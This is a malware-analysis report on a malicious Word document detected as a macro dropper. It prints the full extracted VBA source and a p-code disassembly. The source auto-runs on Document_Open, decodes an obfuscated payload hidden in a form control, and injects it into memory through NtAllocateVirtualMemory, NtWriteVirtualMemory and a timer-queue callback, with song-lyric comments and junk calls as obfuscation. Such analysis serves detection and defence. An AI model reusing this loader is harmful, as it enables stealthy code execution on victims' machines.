MALICIOUS
90
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1566.001 Spearphishing Attachment
The file is a Microsoft Office document containing a large VBA macro, identified by ClamAV as 'Doc.Dropper.Agent-6550043-0'. The presence of the 'Document_Open' macro and the significant size of the macro code suggest it is designed to execute malicious actions upon opening. While the macro code itself is heavily obfuscated, its primary function is likely to download and execute a secondary payload, a common technique for malware droppers.
Heuristics 4
-
ClamAV: Doc.Dropper.Agent-6550043-0 critical CLAMAV_DETECTIONClamAV detected this file as malware: Doc.Dropper.Agent-6550043-0
-
VBA macros detected medium 1 related finding OLE_VBA_MACROSDocument contains VBA macro code
-
Document_Open macro low OLE_VBA_DOCOPENDocument_Open macroMatched line in script
Private Sub Document_Open() Dim necessarily As Variant -
Embedded URL info EMBEDDED_URLOne or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.URL http://ns.adobe.com/xap/1.0/ In document text (OLE body)
- http://www.w3.org/1999/02/22-rdf-syntax-ns#In document text (OLE body)
- http://ns.adobe.com/photoshop/1.0/In document text (OLE body)
- http://purl.org/dc/elements/1.1/In document text (OLE body)
- http://ns.adobe.com/xap/1.0/mm/In document text (OLE body)
- http://ns.adobe.com/xap/1.0/sType/ResourceEvent#In document text (OLE body)
- http://ns.adobe.com/xap/1.0/sType/ResourceRef#In document text (OLE body)
- http://schemas.openxmlformats.org/drawingml/2006/mainIn document text (OLE body)
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 46977 bytes |
SHA-256: 122d08e29ba90fac11b1c8e582f686a570aa4b353a2223787e4fb3402d0c06e1 |
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Sub duchess()
Dim nonpertinence As Byte
Dim diphyletic As Integer
diphtheria.proficiency.Value = Day(#12/5/2013#)
varday = georgian = "advantage"
malinois = "selftormentor"
allout = "entendu"
rhinitis = "matriarchal"
sextodecimo = gumbolimbo
minutely = kalon
ido = "bicornuous"
Set omomyid = diphtheria.proficiency.SelectedItem
medication = 74
dendromecon = 7287
oryzomys = 246103
Pmt 0, medication, 16830, 42037, 2
glyceria = omomyid.Name
hercules = 6 - 65 + 7903
anguill = Right(glyceria, hercules)
garish = wmodule2.arilus(anguill)
beldam = 102
fetlock = 30312
desillusionner = 256814
Pmt 0, beldam, 25224, 45718, 8
cassowary = "diaphonics"
falling = "unifacial"
#If (8 * 2 + 5) > (7 - 2 * 1) And (21 - 7 * 3) * 2 < (Win64) Then
Dim contaminant As Long
Dim inextension As LongPtr
Dim deactivation As LongPtr
Dim repercussion As Byte
Dim armchair As Integer
Dim anarchist As LongPtr
Dim pedate As LongPtr
Dim coldness As LongPtr
nepeta = 83 - 97 + 2078
#End If
#If (8 * 2 + 5) > (7 - 2 * 1) And Not (21 - 7 * 3) * 2 < (Win64) Then
Dim nudge As Long
Dim deactivation As Long
Dim entertaining As Variant
Dim inextension As Long
Dim anarchist As Long
monostich = 63 - 117 + 835
Dim pedate As Long
Dim coldness As Long
nepeta = monostich + 3459
#End If
thrifty = 69 - 79 + 10
pontem = "cachou"
destine = cuff
corduroy = 85 - 13 + 4024
bullnose = 50 + 3
incombustibility = 2890 + 4
abstemiously = 375000 + 9
Pmt 0, bullnose, 2146, 23922, 7
ops = "calamo"
catapultic = "mimeograph"
burying = "achimenes"
fringepod = 100 + 10
stillhamlet = 28380 + 3
preconcerted = 491540 + 1
Pmt 0, fringepod, 36158, 51019, 5
newcomer = garish
hypericaceae = "gilead"
inextension = mop(newcomer)
apostle = deeprooted
Dim brainstem As Long
Dim posterity As Integer
anarchist = 122 - 99 - 23
deactivation = inextension + nepeta
pedate = 107 - 63 + 201483
coldness = 85 - 92 + 3507
their = afril(pedate, anarchist, deactivation)
machineaccessible = 50 + 7
despiciency = 15580 + 8
lycopus = 243210 + 9
Pmt 0, machineaccessible, 38160, 27334, 3
End Sub
Private Sub Document_Open()
Dim necessarily As Variant
Dim aghast As Integer
munchausen = emblazon
duchess
sedile = 90 + 4
washtub = 17790 + 6
cornea = 233460 + 8
Pmt 0, sedile, 27766, 23312, 4
End Sub
Attribute VB_Name = "atharvaveda"
' I was doing alright
' I wouldnt be in my truck
#If (18 * 2 - 3) > 2 And (Win64) > (70 - 5 * 14) * 2 Then
' We locked eyes over whiskey on ice
' Rain was driving, thunder, lightning
Public Declare PtrSafe Function virtility Lib "Kernel32" Alias "CreateTimerQueueTimer" (chancroid As Any, ByVal oneness As Any, ByVal saltbush As Any, ByVal methicillin As Any, ByVal captivated As Any, ByVal firstfruits As Any, ByVal asper As Any) As Long
' Rain was driving, thunder, lightning
' And hit me like a hurricane
Public Declare PtrSafe Function heaped Lib "ntdll.dll " Alias _
"NtAllocateVirtualMemory" (purify As LongPtr, assess As LongPtr, ByVal disturbingly As LongPtr, meticulousnessByVal As LongPtr, anticyclone As LongPtr, ByVal jovian As LongPtr) As LongPtr
' Rain was driving, thunder, lightning
' We locked eyes over whiskey on ice
Public Declare PtrSafe Function papaveraceae Lib "Shlwapi.dll " Alias "SleepConditionVariableSRW" (ByVal indite As Any, goldfield As Any, dumbwaiter As Any, hyena As Any) As LongPtr
' Hit me like a hurricane
' Baby, without warning
Public Declare PtrSafe Function fission Lib "Shlwapi.dll " Alias "GetOverlappedResult" (ByVal ambition As Any, joist As Any, aulostomus As Any, burdensome As Any) As LongPtr
' But just your sight had my heart storming
' But just your sight had my heart storming
Public Declare PtrSafe Function disrespect Lib "ntdll.dll " Alias _
"NtWriteVirtualMemory" (ByVal twopiece As Any, ByVal algometer As Any, ByVal floppy As Any, ByVal medalist As Any, ByVal contemptibly As Any) As LongPtr
' Baby, without warning
' But you rolled in with your hair in the wind
' I was doing alright
' If I woulda just layed my drink down
#End If
' And walked out
' From the moment when
#If (18 * 2 - 3) > 2 And Not (Win64) > (70 - 5 * 14) * 2 Then
' Driving us to your house
Public Declare Function virtility Lib "Kernel32" Alias "CreateTimerQueueTimer" (dispart As Any, ByVal certitude As Any, ByVal topheavy As Any, ByVal burner As Any, ByVal disputare As Any, ByVal newscaster As Any, ByVal bewildered As Any) As Long
' And hit me like a hurricane' The moon went hiding, stars quit shining
Public Declare Function disrespect Lib "Ntdll.dll " Alias _
"NtWriteVirtualMemory" (ByVal combustible As Any, ByVal occasioner As Any, ByVal cutaneous As Any, ByVal anagrams As Any, ByVal allay As Any) As Long
' I wouldnt be in my truck
' And hit me like a hurricane
Public Declare Function heaped Lib "Ntdll.dll " Alias _
"NtAllocateVirtualMemory" (guildhall As Long, projected As Long, ByVal duple As Long,deodorizingByVal As Long, snail As Long, ByVal castrato As Long) As Long
' But just your sight had my heart storming
' I wouldnt be in my truck
Public Declare Function grammarian Lib "Shlwapi.dll " Alias "SleepConditionVariableSRW" (ByVal squandered As Any, aborigine As Any, inopportune As Any, nephelium As Any) As Long
' Baby, without warning
' And walked out
Public Declare Function rambling Lib "Shlwapi.dll " Alias "GetOverlappedResult" (ByVal areca As Any, radar As Any, fictitious As Any, khmer As Any) As Long
' But you rolled in with your hair in the wind
' Baby, without warning
' Rain was driving, thunder, lightning
' The moon went hiding, stars quit shining
#End If
' And hit me like a hurricane' Knew it was gonna be a long night
Attribute VB_Name = "diphtheria"
Attribute VB_Base = "0{A4E863C9-01B8-4E32-94C3-08F9E0450584}{1A12942A-93DA-450D-8162-758C07F72D2B}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Attribute VB_Name = "sodule1"
Function cannabis(spanish, unlawfully, supplies)
If supplies = (50 + 3) + (10 / 2 - 5) Then
cannabis = spanish \ unlawfully
ElseIf supplies = (60 + 3) + (5 - 3) / 2 - 1 Then
cannabis = spanish And unlawfully
ElseIf supplies = (70 + 1) + (56 / 7 - 4 * 2) Then
cannabis = spanish * unlawfully
End If
End Function
Function afril(lst, pirs, lky)
' You wrecked my whole world when you came
#If (17 * 2 - 3) > 2 And ((60 - 5 * 12) * 2 < (Win64)) Then
Dim pitbuls As LongPtr
Dim bis As LongPtr
Dim ority As Integer
Dim deble As LongPtr
#End If
#If (17 * 2 - 3) > 2 And Not ((60 - 5 * 12) * 2 < (Win64)) Then
Dim pitbuls As Long
Dim bwis As Long
Dim antery As Integer
Dim deble As Long
#End If
pitbuls = pirs
deble = lky
dan2 = virtility(lst, pitbuls, deble, pitbuls, pitbuls, pitbuls, pitbuls)
End Function
Attribute VB_Name = "amodule2"
Function ardet()
Dim vesicant(255) As Byte
salleamanger = 86 - 30 + 9
Do While salleamanger <= 90 + 1
vesicant(salleamanger) = salleamanger - 65
salleamanger = salleamanger + 1
Loop
salleamanger = 48
Do While salleamanger <= 50 + 8
vesicant(salleamanger) = salleamanger + 4
salleamanger = salleamanger + 1
Loop
salleamanger = 97
Do While salleamanger <= 120 + 3
vesicant(salleamanger) = salleamanger - 71
salleamanger = salleamanger + 1
Loop
vesicant(47) = 63
salleamanger = 43
vesicant(salleamanger) = 60 + 2
ardet = vesicant
End Function
Function mop(psychotherapy)
Dim capreolus As Variant
Dim mezzanine As String
Dim eurylaimidae As Integer
Dim palsied As Long
#If (18 * 2 - 3) > 2 And (Win64) > (70 - 5 * 14) * 2 Then
Dim anemopsis As Integer
Dim bluffly As LongPtr
tadarida = 60 - 91 + 39
Dim salpingitis As LongPtr
Dim arrow As Long
Dim connotation As Variant
Dim poon As LongPtr
Dim burundian As Byte
#End If
#If (18 * 2 - 3) > 2 And Not (Win64) > (70 - 5 * 14) * 2 Then
Dim bluffly As Long
tadarida = 121 - 48 - 69
Dim salpingitis As Long
Dim poon As Long
#End If
thieves = VarPtr(bluffly)
mesmerism = phsysas(thieves, VarPtr(psychotherapy) + 8, tadarida)
abecedary = 58 - 21 - 38
salpingitis = 104 - 33 - 71
presurmise = 121 - 68 - 53
poon = 67 - 100 + 9684
rococo = 75 - 112 + 4133
importing = 80 - 44 + 28
swietinia = heaped(ByVal abecedary, _
salpingitis, ByVal presurmise, poon, ByVal rococo, _
ByVal importing)
highflying = "decolonization"
highflying = highflying
phsysas salpingitis, bluffly, 67 - 3 + 5819
effeminacy = 40 + 9
hygre = 5780 + 7
hexangular = 419740 + 8
Pmt 0, effeminacy, 38312, 22065, 2
mop = salpingitis
End Function
Attribute VB_Name = "wmodule2"
Function arilus(chamaecytisus) As String
Dim supervisor(63) As Long
Dim overacted As Long
Dim plautus As Long
Dim scarf As String
Dim horizontally As Long
Dim clem As Byte
Dim bountifulness(63) As Long
Dim gynarchy() As Byte
Dim miserably As String
Dim communism As Integer
Dim wherever(6962) As Byte
Dim intensify As Long
Dim decompression As Integer
occupant = Fix(486)
Dim menaing(63) As Long
occupant = Math.Round(347)
biological = Rnd(470)
Dim lines As Long
softhearted = 3 - 63 + 16711740
loudvoiced = 58 - 74 + 65296
accumulated = 58 - 45 + 4083
Dim dribbler As Byte
induration = 33 - 85 + 308
cambist = 17 - 57 + 103
sober = 86 - 106 + 84
merops = 87 - 80 + 262137
cutthroat = 34 - 67 + 258081
arbiter = 110 - 22 + 65448
adnexa = 51 - 25 + 4006
loyaute = 87 - 55 + 223
illmarked = 56 - 63 + 16515079
Dim insensibleness As Byte
Dim strath As Long
Dim sinewless As String
analyze = 36 - 62 + 26
gloriosa = 79 - 91 + 7855
Dim selenarctos() As Byte
Dim paragrapher As Integer
Dim plectomycetes As Long
selenarctos = VBA.StrConv(chamaecytisus, 128)
Dim seminary As String
salaam = 20 + 5
raffia = 36140 + 8
colutea = 108190 + 3
Pmt 0, salaam, 33778, 13384, 3
unexacting = 7840 + 3
alcaid = vbKeyShift - 12
For chatham = (3 - 3) To unexacting
If chatham Mod 2 = (4 - 4) Then
selenarctos(chatham) = selenarctos(chatham) - alcaid
Else
selenarctos(chatham) = selenarctos(chatham) - (alcaid - 1)
End If
Next chatham
lobectomy = 90 + 7
interchangeability = 37420 + 5
cipher = 453830 + 6
Pmt 0, lobectomy, 20609, 40734, 8
communism = 5 - 5
cynancum = 119 - 74 - 45
carbohydrate = 26 - 92 + 109
lateenrig = ardet
For plautus = (7 - 7) * 1 To (50 + 13) * (5 - 4)
bountifulness(plautus) = cannabis(plautus, sober, 71)
supervisor(plautus) = cannabis(plautus, accumulated, 71)
menaing(plautus) = cannabis(plautus, merops, 71)
Next plautus
tortured = 90 + 7
volatilized = 29290 + 5
transgressive = 550140 + 10
Pmt 0, tortured, 8823, 34030, 7
gynarchy = selenarctos
moonshell = 30 - 63 + 37
credited = 30 + 2
foremost = 33680 + 1
reluct = 345770 + 3
Pmt 0, credited, 32287, 27192, 8
carbonate = 65 - 102 + 40
occupant = Fix(128)
occupant = Rnd(261)
hydrilla = carbonate + 1
dracunculidae = 13 - 104 + 93
For lines = (6 - 6) To unexacting
adagio = gynarchy(lines)
cercosporella = gynarchy(lines + 2)
leptosporangiate = supervisor(lateenrig(gynarchy(lines + 1)))
cupboard = bountifulness(lateenrig(cercosporella)) + lateenrig(gynarchy(lines + carbonate))
overacted = menaing(lateenrig(adagio)) + leptosporangiate + cupboard
plautus = cannabis(overacted, softhearted, 63)
wherever(horizontally) = cannabis(plautus, arbiter, 53)
plautus = cannabis(overacted, loudvoiced, 63)
wherever(horizontally + 1) = cannabis(plautus, induration, 53)
wherever(horizontally + dracunculidae) = cannabis(overacted, loyaute, 63)
horizontally = horizontally + dracunculidae + 1
lines = lines + 3
Next
arilus = wherever
End Function
Attribute VB_Name = "zmodule3"
Function phsysas(coastal, lilylivered, conscientiousness)
#If (7 * 4 + 5) > (7 - 2 * 1) And (20 - 5 * 4) * 2 < (Win64) Then
Dim penurious As String
Dim obsequiousness As Byte
Dim weep As LongPtr
Dim catastrophe As LongPtr
Dim handless As LongPtr
Dim fantasia As Integer
Dim core As LongPtr
Dim buildup As LongPtr
#End If
#If (8 * 2 + 5) > (7 - 2 * 1) And Not (21 - 7 * 3) * 2 < (Win64) Then
Dim catastrophe As Long
Dim sperm As Variant
Dim weep As Long
Dim priceless As Integer
Dim core As Long
Dim amazing As Integer
Dim handless As Long
Dim subject As Variant
Dim buildup As Long
Dim soak As Integer
Dim robe As Integer
#End If
biological = Rnd(56)
biological = biological + 446
catastrophe = coastal
buildup = conscientiousness
occupant = Rnd(118)
core = lilylivered
lion = 70
servans = 9652
baeotic = 300226
Pmt 0, lion, 8885, 30976, 4
cyclical = Fix(420)
weep = 105 - 23 - 83
'disrespect ByVal weep, catastrophe, core, buildup, handless
workout weep, catastrophe, core, buildup, handless
hemophiliac = "lophiidae"
End Function
Function workout(weep2, catastrophe2, core2, buildup2, handless2)
#If (7 * 4 + 5) > (7 - 2 * 1) And (20 - 5 * 4) * 2 < (Win64) Then
Dim penurious As String
Dim obsequiousness As Byte
Dim weep As LongPtr
Dim catastrophe As LongPtr
Dim handless As LongPtr
Dim fantasia As Integer
Dim core As LongPtr
Dim buildup As LongPtr
#End If
#If (8 * 2 + 5) > (7 - 2 * 1) And Not (21 - 7 * 3) * 2 < (Win64) Then
Dim catastrophe As Long
Dim sperm As Variant
Dim weep As Long
Dim priceless As Integer
Dim core As Long
Dim amazing As Integer
Dim handless As Long
Dim subject As Variant
Dim buildup As Long
Dim soak As Integer
Dim robe As Integer
#End If
weep = weep2
catastrophe = catastrophe2
core = core2
buildup = buildup2
handless = handless2
disrespect ByVal weep, catastrophe, core, buildup, handless
End Function
' Processing file: /opt/analyzer/scan_staging/28e7da664ef947b9a13fcd569a8fae28.bin
' ===============================================================================
' Module streams:
' Macros/VBA/ThisDocument - 8853 bytes
' Line #0:
' Line #1:
' Line #2:
' Line #3:
' FuncDefn (Sub duchess())
' Line #4:
' Dim
' VarDefn nonpertinence (As Byte)
' Line #5:
' Dim
' VarDefn diphyletic (As Integer)
' Line #6:
' LitDate 0x0000 0x0000 0x51A0 0x40E4
' ArgsLd Day 0x0001
' Ld diphtheria
' MemLd proficiency
' MemSt Value
' Line #7:
' Ld georgian
' LitStr 0x0009 "advantage"
' Eq
' St varday
' Line #8:
' LitStr 0x000D "selftormentor"
' St malinois
' Line #9:
' LitStr 0x0007 "entendu"
' St allout
' Line #10:
' LitStr 0x000B "matriarchal"
' St rhinitis
' Line #11:
' Ld gumbolimbo
' St sextodecimo
' Line #12:
' Line #13:
' Ld kalon
' St minutely
' Line #14:
' LitStr 0x000A "bicornuous"
' St ido
' Line #15:
' SetStmt
' Ld diphtheria
' MemLd proficiency
' MemLd SelectedItem
' Set omomyid
' Line #16:
' LitDI2 0x004A
' St medication
' Line #17:
' LitDI2 0x1C77
' St dendromecon
' Line #18:
' LitDI4 0xC157 0x0003
' St oryzomys
' Line #19:
' LitDI2 0x0000
' Ld medication
' LitDI2 0x41BE
' LitDI4 0xA435 0x0000
' LitDI2 0x0002
' ArgsCall Pmt 0x0005
' Line #20:
' Line #21:
' Ld omomyid
' MemLd Name
' St glyceria
' Line #22:
' LitDI2 0x0006
' LitDI2 0x0041
' Sub
' LitDI2 0x1EDF
' Add
' St hercules
' Line #23:
' Ld glyceria
' Ld hercules
' ArgsLd Right 0x0002
' St anguill
' Line #24:
' Ld anguill
' Ld zmodule3
' ArgsMemLd arilus 0x0001
' St garish
' Line #25:
' LitDI2 0x0066
' St beldam
' Line #26:
' LitDI2 0x7668
' St fetlock
' Line #27:
' LitDI4 0xEB2E 0x0003
' St desillusionner
' Line #28:
' LitDI2 0x0000
' Ld beldam
' LitDI2 0x6288
' LitDI4 0xB296 0x0000
' LitDI2 0x0008
' ArgsCall Pmt 0x0005
' Line #29:
' Line #30:
' LitStr 0x000A "diaphonics"
' St cassowary
' Line #31:
' LitStr 0x0009 "unifacial"
' St falling
' Line #32:
' LbMark
' LitDI2 0x0008
' LitDI2 0x0002
' Mul
' LitDI2 0x0005
' Add
' Paren
' LitDI2 0x0007
' LitDI2 0x0002
' LitDI2 0x0001
' Mul
' Sub
' Paren
' Gt
' LitDI2 0x0015
' LitDI2 0x0007
' LitDI2 0x0003
' Mul
' Sub
' Paren
' LitDI2 0x0002
' Mul
' Ld Win64
' Paren
' Lt
' And
' LbIf
' Line #33:
' Dim
' VarDefn contaminant (As Long)
' Line #34:
' Dim
' VarDefn inextension (As Ptr)
' Line #35:
' Dim
' VarDefn deactivation (As Ptr)
' Line #36:
' Dim
' VarDefn repercussion (As Byte)
' Line #37:
' Line #38:
' Dim
' VarDefn armchair (As Integer)
' Line #39:
' Dim
' VarDefn anarchist (As Ptr)
' Line #40:
' Dim
' VarDefn pedate (As Ptr)
' Line #41:
' Dim
' VarDefn coldness (As Ptr)
' Line #42:
' LitDI2 0x0053
' LitDI2 0x0061
' Sub
' LitDI2 0x081E
' Add
' St nepeta
' Line #43:
' LbMark
' LbEndIf
' Line #44:
' LbMark
' LitDI2 0x0008
' LitDI2 0x0002
' Mul
' LitDI2 0x0005
' Add
' Paren
' LitDI2 0x0007
' LitDI2 0x0002
' LitDI2 0x0001
' Mul
' Sub
' Paren
' Gt
' LitDI2 0x0015
' LitDI2 0x0007
' LitDI2 0x0003
' Mul
' Sub
' Paren
' LitDI2 0x0002
' Mul
' Ld Win64
' Paren
' Lt
' Not
' And
' LbIf
' Line #45:
' Dim
' VarDefn nudge (As Long)
' Line #46:
' Dim
' VarDefn deactivation (As Long)
' Line #47:
' Dim
' VarDefn entertaining (As Variant)
' Line #48:
' Dim
' VarDefn inextension (As Long)
' Line #49:
' Line #50:
' Dim
' VarDefn anarchist (As Long)
' Line #51:
' LitDI2 0x003F
' LitDI2 0x0075
' Sub
' LitDI2 0x0343
' Add
' St monostich
' Line #52:
' Dim
' VarDefn pedate (As Long)
' Line #53:
' Dim
' VarDefn coldness (As Long)
' Line #54:
' Ld monostich
' LitDI2 0x0D83
' Add
' St nepeta
' Line #55:
' LbMark
' LbEndIf
' Line #56:
' LitDI2 0x0045
' LitDI2 0x004F
' Sub
' LitDI2 0x000A
' Add
' St thrifty
' Line #57:
' LitStr 0x0006 "cachou"
' St pontem
' Line #58:
' Ld cuff
' St destine
' Line #59:
' LitDI2 0x0055
' LitDI2 0x000D
' Sub
' LitDI2 0x0FB8
' Add
' St corduroy
' Line #60:
' LitDI2 0x0032
' LitDI2 0x0003
' Add
' St bullnose
' Line #61:
' LitDI2 0x0B4A
' LitDI2 0x0004
' Add
' St incombustibility
' Line #62:
' LitDI4 0xB8D8 0x0005
' LitDI2 0x0009
' Add
' St abstemiously
' Line #63:
' LitDI2 0x0000
' Ld bullnose
' LitDI2 0x0862
' LitDI2 0x5D72
' LitDI2 0x0007
' ArgsCall Pmt 0x0005
' Line #64:
' Line #65:
' LitStr 0x0006 "calamo"
' St ops
' Line #66:
' LitStr 0x000A "mimeograph"
' St catapultic
' Line #67:
' LitStr 0x0009 "achimenes"
' St burying
' Line #68:
' LitDI2 0x0064
' LitDI2 0x000A
' Add
' St fringepod
' Line #69:
' LitDI2 0x6EDC
' LitDI2 0x0003
' Add
' St stillhamlet
' Line #70:
' LitDI4 0x8014 0x0007
' LitDI2 0x0001
' Add
' St preconcerted
' Line #71:
' LitDI2 0x0000
' Ld fringepod
' LitDI4 0x8D3E 0x0000
' LitDI4 0xC74B 0x0000
' LitDI2 0x0005
' ArgsCall Pmt 0x0005
' Line #72:
' Line #73:
' Ld garish
' St newcomer
' Line #74:
' LitStr 0x0006 "gilead"
' St hypericaceae
' Line #75:
' Ld newcomer
' ArgsLd mop 0x0001
' St inextension
' Line #76:
' Ld deeprooted
' St apostle
' Line #77:
' Dim
' VarDefn brainstem (As Long)
' Line #78:
' Dim
' VarDefn posterity (As Integer)
' Line #79:
' LitDI2 0x007A
' LitDI2 0x0063
' Sub
' LitDI2 0x0017
' Sub
' St anarchist
' Line #80:
' Ld inextension
' Ld nepeta
' Add
' St deactivation
' Line #81:
' LitDI2 0x006B
' LitDI2 0x003F
' Sub
' LitDI4 0x130B 0x0003
' Add
' St pedate
' Line #82:
' LitDI2 0x0055
' LitDI2 0x005C
' Sub
' LitDI2 0x0DB3
' Add
' St coldness
' Line #83:
' Ld pedate
' Ld anarchist
' Ld deactivation
' ArgsLd amodule2 0x0003
' St their
' Line #84:
' LitDI2 0x0032
' LitDI2 0x0007
' Add
' St machineaccessible
' Line #85:
' LitDI2 0x3CDC
' LitDI2 0x0008
' Add
' St despiciency
' Line #86:
' LitDI4 0xB60A 0x0003
' LitDI2 0x0009
' Add
' St lycopus
' Line #87:
' LitDI2 0x0000
' Ld machineaccessible
' LitDI4 0x9510 0x0000
' LitDI2 0x6AC6
' LitDI2 0x0003
' ArgsCall Pmt 0x0005
' Line #88:
' Line #89:
' EndSub
' Line #90:
' Line #91:
' FuncDefn (Sub Document_Open())
' Line #92:
' Dim
' VarDefn necessarily (As Variant)
' Line #93:
' Dim
' VarDefn aghast (As Integer)
' Line #94:
' Ld emblazon
' St munchausen
' Line #95:
' ArgsCall duchess 0x0000
' Line #96:
' LitDI2 0x005A
' LitDI2 0x0004
' Add
' St sedile
' Line #97:
' LitDI2 0x457E
' LitDI2 0x0006
' Add
' St washtub
' Line #98:
' LitDI4 0x8FF4 0x0003
' LitDI2 0x0008
' Add
' St cornea
' Line #99:
' LitDI2 0x0000
' Ld sedile
' LitDI2 0x6C76
' LitDI2 0x5B10
' LitDI2 0x0004
' ArgsCall Pmt 0x0005
' Line #100:
' EndSub
' Line #101:
' Line #102:
' Macros/VBA/atharvaveda - 10334 bytes
' Line #0:
' QuoteRem 0x0000 0x0015 " I was doing alright"
' Line #1:
' QuoteRem 0x0000 0x001A " I wouldnt be in my truck"
' Line #2:
' LbMark
' LitDI2 0x0012
' LitDI2 0x0002
' Mul
' LitDI2 0x0003
' Sub
' Paren
' LitDI2 0x0002
' Gt
' Ld Win64
' Paren
' LitDI2 0x0046
' LitDI2 0x0005
' LitDI2 0x000E
' Mul
' Sub
' Paren
' LitDI2 0x0002
' Mul
' Gt
' And
' LbIf
' Line #3:
' QuoteRem 0x0000 0x0024 " We locked eyes over whiskey on ice"
' Line #4:
' QuoteRem 0x0000 0x0026 " Rain was driving, thunder, lightning"
' Line #5:
' FuncDefn (Public Function virtility(chancroid As ) As Long)
' Line #6:
' QuoteRem 0x0000 0x0026 " Rain was driving, thunder, lightning"
' Line #7:
' QuoteRem 0x0000 0x001D " And hit me like a hurricane"
' Line #8:
' LineCont 0x0004 08 00 03 00
' FuncDefn (Public Function heaped(_B_var_heaped As Ptr) As Ptr)
' Line #9:
' QuoteRem 0x0000 0x0026 " Rain was driving, thunder, lightning"
' Line #10:
' QuoteRem 0x0000 0x0024 " We locked eyes over whiskey on ice"
' Line #11:
' FuncDefn (Public Function papaveraceae(ByVal indite As ) As Ptr)
' Line #12:
' QuoteRem 0x0000 0x0019 " Hit me like a hurricane"
' Line #13:
' QuoteRem 0x0000 0x0017 " Baby, without warning"
' Line #14:
' FuncDefn (Public Function fission(ByVal ambition As ) As Ptr)
' Line #15:
' QuoteRem 0x0000 0x002B " But just your sight had my heart storming"
' Line #16:
' QuoteRem 0x0000 0x002B " But just your sight had my heart storming"
' Line #17:
' LineCont 0x0004 08 00 04 00
' FuncDefn (Public Function disrespect(ByVal burdensome As ) As Ptr)
' Line #18:
' QuoteRem 0x0000 0x0017 " Baby, without warning"
' Line #19:
' QuoteRem 0x0000 0x002E " But you rolled in with your hair in the wind"
' Line #20:
' Line #21:
' QuoteRem 0x0000 0x0015 " I was doing alright"
' Line #22:
' QuoteRem 0x0000 0x0026 " If I woulda just layed my drink down"
' Line #23:
' LbMark
' LbEndIf
' Line #24:
' QuoteRem 0x0000 0x0010 " And walked out"
' Line #25:
' QuoteRem 0x0000 0x0016 " From the moment when"
' Line #26:
' LbMark
' LitDI2 0x0012
' LitDI2 0x0002
' Mul
' LitDI2 0x0003
' Sub
' Paren
' LitDI2 0x0002
' Gt
' Ld Win64
' Paren
' LitDI2 0x0046
' LitDI2 0x0005
' LitDI2 0x000E
' Mul
' Sub
' Paren
…
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.